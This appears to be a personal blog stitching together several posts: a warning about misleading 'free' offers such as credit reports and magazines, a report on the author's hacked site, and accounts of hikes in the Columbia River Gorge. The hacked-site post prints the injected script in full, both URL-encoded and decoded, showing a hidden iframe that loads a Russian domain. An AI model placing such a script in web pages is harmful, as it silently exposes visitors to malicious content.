When companies offer services for ‘free’, it is often the result of a money-hungry, ethically-blind company overstepping its bounds. Most services simply are NOT free, despite their claim.

Buyer beware is a good mantra for navigating the waters of ‘free’ services. This posting will highlight common ‘free’ offers and will shed light on some of the unethical marketing practices we see corporations engaged in today.

In most all cases, the company offering the ‘free’ service will only offer it free for a short trial period, then will automatically bill you thereafter. Companies will get you in a contractural agreement and will usually make more money off you- more than recovering their cost of offering something ‘free’ for a limited time.

1. Free Credit Reports

Free credit reports are never free. Notice the above signup form from a popular ‘free’ credit report website. It asks for all of your contact information on the first page, then when continuing to the next page (after you already invested the time to fill out the first form), it then surprises you by asking for your social security # and credit card information. This is their initial explanation for that:

Your credit card will not be charged during the free trial period. However, valid credit card information is required to establish your account.

Then, more hidden is the real legal agreement text:

When you order your free report here, you will begin your free trial membership in Triple AdvantageSM Credit Monitoring. If you don’t cancel your membership within 9 days of enrollment, you will be billed $14.95 for each month that you continue your membership. If you are not satisfied, you can cancel at any time to discontinue the membership and stop the monthly billing; however, you will not be eligible for a pro-rated refund of your current month’s paid membership fee.

That hidden legal agreement text no longer calls the service a ‘free trial’, but now a ‘membership’. Nine days is quite a short window of time to ‘cancel’ the membership- in fact, it’s only 1/3 of the way through the ‘free trial’ period. In the rare case a person is diligent enough to call within the limited 9 day timeframe, good luck on finding a live person on the phone. You can guarantee very long hold times, talking to multiple representatives, and perhaps having to call back a few more times just to ensure the service is indeed cancelled. Representatives are trained to do everything possible to not let you cancel, so you can bet it will be a frustrating experience trying to cancel.

It no longer seems worth it after learning the true meaning behind their words ‘free credit report’. It’s almost inevitable that you will pay them money.

2. Free Website Services

Trails.com is one of the most spammy and unethical websites I’ve seen.

Unfortunately, they rank super high in Google under lots of keywords, so they get lots of traffic. What happens is you might find a page like this.

Then, when you click to see the map and directions, you get a free trial signup page…

At the bottom of the signup page, you can also note that you are agreeing to receive spam from third parties, which they waive responsibility for, as well as saying…

For your convenience and to ensure that your access to your Trails.com subscription remains uninterrupted, unless we hear from you, we will automatically renew your subscription(s) at the expiration of the then-current term. If you elected to pay for the subscription with your credit card, Trails.com will charge your card on file for the cost of another term at the then-current rate using the information you previously provided us by phone or on our web site. You will not be notified in advance of your impending renewal.

It’s so nice of them to take, store, and auto-bill your credit card as a ‘convenience’ to you so your service ‘remains uninterrupted’. That’s one way to look at it.

And finally, on the next page, lo and behold, the ‘free’ signup page asks for your credit card. What a surprise.

3. Free Magazines

Free magazine offers are old school now. Yet, the same old marketing trick continues to be used and people continue to fall for it.

Free magazine offers can be found in a variety of places- through websites, direct mail, in magazines themselves, and in odd places like in grocery store halls near the restroom.

The trick is to get you to signup- which may open the floodgate for lots of junk mail- then later surprise you with a bill. Sometimes they will say you get only 1 issue free, but will go ahead and send you a few extra issues of the magazine. They will of course bill you for it and hope you will pay it, perhaps from feeling guilty for receiving the extra magazines.

4. Free Windshield Rock Chip Repairs

You may have seen ‘free rock chip repair’ tents in shopping area parking lots throughout the United States. The trick is they will say it’s free to you, but will bill your insurance if you have full coverage. It’s faulty logic to say it’s free, because you pay for your insurance. It’s also possible your insurance company will deny the claim and stick you with part of the bill or raise your rates.

It it really free? No.

5. Free Computers

Free computer offers still exist today, but this scam was most popular back when CompuServe, Prodigy, AOL, MSN, and other internet dialup subscription services were popular. Stores like OfficeDepot, OfficeMax, CircuitCity, and Best Buy offered huge ‘rebates’ for buying computers with the internet subscription- often claiming to move than cover the price of the computer. The subscriptions were usually 3 year contracts at $25 / mo or so, making a $900 commitment, for example. The rebate was often for $300-$400 or so, making the computer ‘free’, but people didn’t walk out of the store with a free computer. You paid in advance, and later hoped you would receive your rebate.

Of course, rebates are usually outsourced to third party vendors, who often handle the rebate claims carelessly. Ever see your name and address grossly misspelled on a rebate form? Yes, they will do everything possible to not give you your rebate. This allows the retailer to save money while claiming no responsibility when people don’t receive their rebate, since it was outsourced. Unfortunately consumers were led to believe they could get a free computer only through buying dialup internet access- perhaps something they may have thought they would have used anyway, but it cost them dearly.

Some stores like OfficeDepot took the internet subscription trick to a ridiculous point, claiming “Free $300 cash for anything in the store (with internet subscription)”. That’s code for you giving them $600. Incidentally, the FTC investigated OfficeDepot for some of their misleading advertising.

Summary

Those are five ‘free’ services you want to avoid. There are numerous marketing scams to beware of like credit watch services, rebates, free cell phones, free music CDs (i.e. BMG), add-ons, bad contracts, and more. If you mainly avoid anything free that involves signing a contract, you’ll probably be in good shape.

Woohoo! I just love it when someone hacks my website and installs a virus. Here’s a nice little flag that AVG gave me:

Fortunately, an upgrade from WordPress 2.2 to 2.5 and a little cleanup of the html on the homepage did the trick. This is what some hacker installed on my root index.htm file (commented just in case):

<!– <script>eval(unescape("%77%69%6e%64%6f%77%2e%73%74%61%74%75%73%3d%27%44%6f%6e%65%27%3b%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%27%3c%69%66%72%61%6d%65%20%6e%61%6d%65%3d%34%20%73%72%63%3d%5c%27%68%74%74%70%3a%2f%2f%74%72%61%66%66%75%72%6c%2e%72%75%2f%73%6c%69%76%3f%27%2b%4d%61%74%68%2e%72%6f%75%6e%64%28%4d%61%74%68%2e%72%61%6e%64%6f%6d%28%29%2a%32%37%35%34%37%31%29%2b%27%38%30%35%34%61%38%65%32%65%5c%27%20%77%69%64%74%68%3d%36%36%37%20%68%65%69%67%68%74%3d%34%31%33%20%73%74%79%6c%65%3d%5c%27%64%69%73%70%6c%61%79%3a%20%6e%6f%6e%65%5c%27%3e%3c%2f%69%66%72%61%6d%65%3e%27%29")); </script> –>

And when this code is ‘unescaped’ it translates into:

<!– ("window.status=’Done’;document.write(’<iframe name=4 src=\’http://traffurl.ru/sliv?’+Math.round(Math.random()*275471)+’8054a8e2e\’ width=667 height=413 style=\’display: none\’></iframe>’) –>

I did a whois search on this Russian domain, but didn’t find any results. Thank you hackers for showing the love.

On a sunny Saturday, June 14th, three of us hiked to the top of Mt. Defiance- said to be the highest mountain along the Columbia Gorge. From the parking lot, it’s 6 miles to the top, with nearly 4,900 ft elevation gain. I carried a heavy pack and was prepared for the hardest hike ever. It actually wasn’t as bad as I thought. It didn’t seem as steep as other hikes, such as Munra Point or sections of Table Mountain, but was more of a long steady incline. The scenery along the way was also more interesting than I expected.

The hiking trail began by passing along 3 pleasant waterfalls, positioned near towering rocks.

Cabin Creek Falls is the first waterfall along the Mt Defiance trail.

Hole-in-the-Wall Falls comes next along the trail.

Lancaster falls is the 3rd waterfall seen along the trail. It’s actually an impressive waterfall considering the upper portion of the falls (not as visible) goes even higher up.

You can get a sense from the image above how far and high through the mountains we hiked away from the Columbia River- which is near the altitude we started from. The sky was very clear- not hazy at all- which allowed for great 4 mountain views of Hood, St. Helens, Adams, and Raineer.

Views of snow and radio towers at the top.

A little snow cave created from the warmth of radio transmission equipment.

We started at 9am and returned to the car at 6:30pm. My legs are a little sore.

Four of us hiked Table Mountain on Saturday, June 7th- the Washington side of the Columbia River Gorge, just a few miles west of the Bridge of the Gods, near Bonneville Dam. While the weather was a little overcast and rainy most of the trip, we still had nice views, saw interesting geological features, and most of all, got in some great exercise.

We started from a ’shortcut’ parking area near a hot springs facility, which made it approximately 8 miles and 3,200 ft gain. It was a challenge finding the trailhead. Thanks to a GPS and a combination of directions from different guidebooks, we found our way to the top. There was snow at the summit and it was chilly, which seems unusual for June.

The fog combined with the unusual shaped rock formations made it look eerie in places, like we were on a mysterious planet or something.

The east side of the Heartbreak Ridge loop has a large rockslide scramble area.

The west side of the Heartbreak Ridge loop may have been slightly easier to descend, but probably not by much- it was still very steep with loose rocks- it was kind of sketchy in some places- not having stable footing beside the sheer cliff.

The forest that the pacific crest trail passes through was dense and lush green.

This tree won the award for the most moss coverage.

We took a lot of breaks and returned to civilization after 7 hours and 15 minutes. Started at 10:30am, ended at 5:45pm. I was a little hungry after that.

Munra Point is one of the best hikes I’ve ever done. It has oustanding scenery along the way- with dramatic cliffs, colorful wildflowers, and dense trees covering the vast canyon. The hike gains 1,700 feet- most of which is gained in only a mile’s distance.

The top has an incredible panorama view of the Columbia River Gorge. Yet, there’s not a single sign for Munra Point- the trail is unmarked, unmaintained, and unpopular.

The trail is likely ‘unofficial’ because of being too steep and treacherous for the general public. There were three steep rocky sections requiring some bouldering skills to get up and down. Once at the top, you can see that some of the optional paths can be intimidating with cliffs on either side of the narrow trail. A slip off that ridge would spell disaster.

For me, the steepness was a definite reason to be cautious, but I was not as concerned about this as I was another issue…

Poison oak. This hike was absolutely plagued with it. There was more poison oak on this trail than I’ve ever seen before. In many places, the narrow trail had patches on both sides, leaving little or no room to walk by without brushing your legs on it. Since I am prone to bad poison oak rashes, this was indeed a source of concern. I get it so easily, if I just look at it or hear the name, I get it.

To add a little diversity to the poisonous plant life, there were pretty wildflowers and interesting spiny plants, such as this one.

I was proud to witness a bald eagle soaring above the canyon, sporting its massive wingspan.

This trip was June 1st, 2008- a nice way to kick off the month.